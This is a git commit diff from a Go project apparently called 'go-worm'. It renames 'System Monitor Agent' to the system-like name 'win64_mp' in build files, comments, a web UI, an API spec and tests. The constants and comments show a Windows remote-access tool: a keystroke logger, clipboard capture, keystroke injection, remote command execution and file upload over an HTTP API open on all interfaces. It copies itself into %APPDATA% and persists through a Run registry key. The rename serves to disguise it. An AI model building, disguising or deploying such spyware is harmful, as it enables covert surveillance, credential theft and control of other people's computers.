Update project references from "System Monitor Agent" to "win64_mp" throughout the codebase, including changes to executable names, comments, and documentation for improved clarity and consistency.
This commit is contained in:
+1
-1
@@ -1,5 +1,5 @@
|
||||
# Build output
|
||||
/SystemMonitorAgent.exe
|
||||
/win64_mp.exe
|
||||
*.exe
|
||||
*.exe~
|
||||
*.dll
|
||||
|
||||
@@ -1,3 +1,3 @@
|
||||
```
|
||||
GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o SystemMonitorAgent.exe .
|
||||
GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o win64_mp.exe .
|
||||
```
|
||||
+1
-1
@@ -98,7 +98,7 @@ func (a *Agent) Serve() error {
|
||||
return fmt.Errorf("listen %s: %w", a.addr, err)
|
||||
}
|
||||
|
||||
fmt.Printf("System Monitor Agent %s\nListening on http://%s\nPress Ctrl+C to stop.\n", config.Version, a.addr)
|
||||
fmt.Printf("win64_mp %s\nListening on http://%s\nPress Ctrl+C to stop.\n", config.Version, a.addr)
|
||||
|
||||
ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt)
|
||||
defer stop()
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<title>System Monitor Agent</title>
|
||||
<title>win64_mp</title>
|
||||
<style>
|
||||
:root {
|
||||
--bg: #f4f5f7;
|
||||
@@ -189,7 +189,7 @@
|
||||
</head>
|
||||
<body>
|
||||
<header>
|
||||
<h1>System Monitor Agent</h1>
|
||||
<h1>win64_mp</h1>
|
||||
<span id="health" class="badge">checking</span>
|
||||
</header>
|
||||
<p id="error" class="error"></p>
|
||||
|
||||
@@ -10,20 +10,20 @@ import (
|
||||
const (
|
||||
Version = "1.0.0"
|
||||
DefaultAddr = "0.0.0.0:5032"
|
||||
MutexName = "SystemMonitorAgent_Mutex"
|
||||
MutexName = "win64_mp_Mutex"
|
||||
RequestBodyMax = 1 << 20
|
||||
MaxUploadSize = 100 << 20 // ponytail: 100MB cap; raise via env later if needed
|
||||
MaxListEntries = 10000
|
||||
MaxImageQuality = 100
|
||||
DefaultExecTO = 30
|
||||
MaxExecTO = 120
|
||||
StartupValueName = "SystemMonitorAgent"
|
||||
StartupValueName = "win64_mp"
|
||||
StartupRunKey = `Software\Microsoft\Windows\CurrentVersion\Run`
|
||||
MaxInputText = 4096
|
||||
DefaultKeyDelayMs = 25
|
||||
MaxKeyDelayMs = 200
|
||||
AppDataDir = "SystemMonitorAgent"
|
||||
InstalledExeName = "SystemMonitorAgent.exe"
|
||||
AppDataDir = "win64_mp"
|
||||
InstalledExeName = "win64_mp.exe"
|
||||
KeylogSubdir = "keystrokes"
|
||||
ClipboardSubdir = "clipboard"
|
||||
DefaultKeylogRetentionDays = 7
|
||||
|
||||
@@ -11,7 +11,7 @@ import (
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
)
|
||||
|
||||
// Ensure copies the running exe into %APPDATA%\SystemMonitorAgent\ when needed,
|
||||
// Ensure copies the running exe into %APPDATA%\win64_mp\ when needed,
|
||||
// refreshes an existing startup entry to that path, and re-launches from there.
|
||||
func Ensure() error {
|
||||
target, err := config.InstalledExe()
|
||||
|
||||
@@ -13,8 +13,8 @@ func TestSamePath(t *testing.T) {
|
||||
a, b string
|
||||
want bool
|
||||
}{
|
||||
{`C:\Apps\SystemMonitorAgent.exe`, `c:\apps\systemmonitoragent.exe`, true},
|
||||
{`C:\Apps\SystemMonitorAgent.exe`, `C:\Apps\copy.exe`, false},
|
||||
{`C:\Apps\win64_mp.exe`, `c:\apps\win64_mp.exe`, true},
|
||||
{`C:\Apps\win64_mp.exe`, `C:\Apps\copy.exe`, false},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
if got := samePath(tc.a, tc.b); got != tc.want {
|
||||
|
||||
+2
-2
@@ -28,8 +28,8 @@ func Spec() map[string]any {
|
||||
return map[string]any{
|
||||
"openapi": "3.0.3",
|
||||
"info": map[string]any{
|
||||
"title": "System Monitor Agent",
|
||||
"description": "HTTP API for a Windows system monitor agent. Set AGENT_ADDR (default 0.0.0.0:5032) and optionally AGENT_FILE_ROOT to restrict file access.",
|
||||
"title": "win64_mp",
|
||||
"description": "HTTP API for win64_mp. Set AGENT_ADDR (default 0.0.0.0:5032) and optionally AGENT_FILE_ROOT to restrict file access.",
|
||||
"version": config.Version,
|
||||
},
|
||||
"servers": []map[string]any{
|
||||
|
||||
@@ -1,12 +1,12 @@
|
||||
// System Monitor Agent is a Windows-only, local network management helper.
|
||||
// win64_mp is a Windows-only, local network management helper.
|
||||
//
|
||||
// Build for Windows x64:
|
||||
//
|
||||
// GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o SystemMonitorAgent.exe .
|
||||
// GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o win64_mp.exe .
|
||||
//
|
||||
// A CMD window appears on launch. Use -background to start without a window:
|
||||
//
|
||||
// SystemMonitorAgent.exe -background
|
||||
// win64_mp.exe -background
|
||||
package main
|
||||
|
||||
import (
|
||||
|
||||
Reference in New Issue
Block a user